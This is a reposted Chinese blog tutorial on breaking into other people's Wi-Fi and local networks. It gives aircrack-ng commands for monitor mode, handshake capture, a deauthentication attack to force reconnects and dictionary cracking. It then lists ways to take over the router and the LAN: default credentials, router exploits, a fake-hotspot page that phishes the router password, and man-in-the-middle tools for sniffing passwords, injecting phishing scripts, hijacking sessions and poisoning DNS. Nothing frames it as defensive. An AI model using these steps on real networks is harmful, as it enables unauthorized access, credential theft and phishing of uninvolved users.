本文转自 _博客
一，密码破解
wifi破解最主要的还是抓握手包破解（不要给我说某某钥匙的“分享”）。
wifi认证主要分为四步：
1,无线客户端与ap连接时，首先发送一个认证请求包
2,ap收到请求后发送一段信息给客户端
3,客户端将信息加密后交给ap
4,ap检查加密结果是否正确，正确则连接，反之否。
破解步骤（以aircrack-ng为例子）：
1,将无线网卡打开至监听模式：
airmon-ng start wlan0
2,探测无线网络：
airodump-ng mon0
3,选择要破解的路由器
airodump-ng -c 信道号 –bssid ap的mac -w 保存的包名 mon0
4,发送deauth攻击，使客户端断开ap，然后自动重连，方便抓取握手包
aireplay-ng -0 10 -a ap的mac -c 客户端的mac –ignore-negative-one mon0
5,破解
aircrack-ng -w 字典 之前保存的包名
也可以使用fern-wifi-cracker这个python写的图形化傻瓜式一键破解工具。
二，局域网渗透
1,还是路由器
知道了wifi密码还不够，还需要得到拨号帐号密码。
a)默认的帐号密码
b)路由器漏洞 routerpwn
c)基础认证钓鱼 http://www.qq2b.net/archives/213.html
wifiphiser ：伪造热点，并且弹出一个路由器升级提示页面，让你输入密码
2,中间人攻击
局域网不用像内网域渗透那样小心翼翼
1）dsploit,cain,ettercap等工具
注入js钓鱼，嗅探密码，下载替换，会话劫持，dns毒化等等配合社工效果更佳。特别细化dns毒化+set工具包的站点克隆。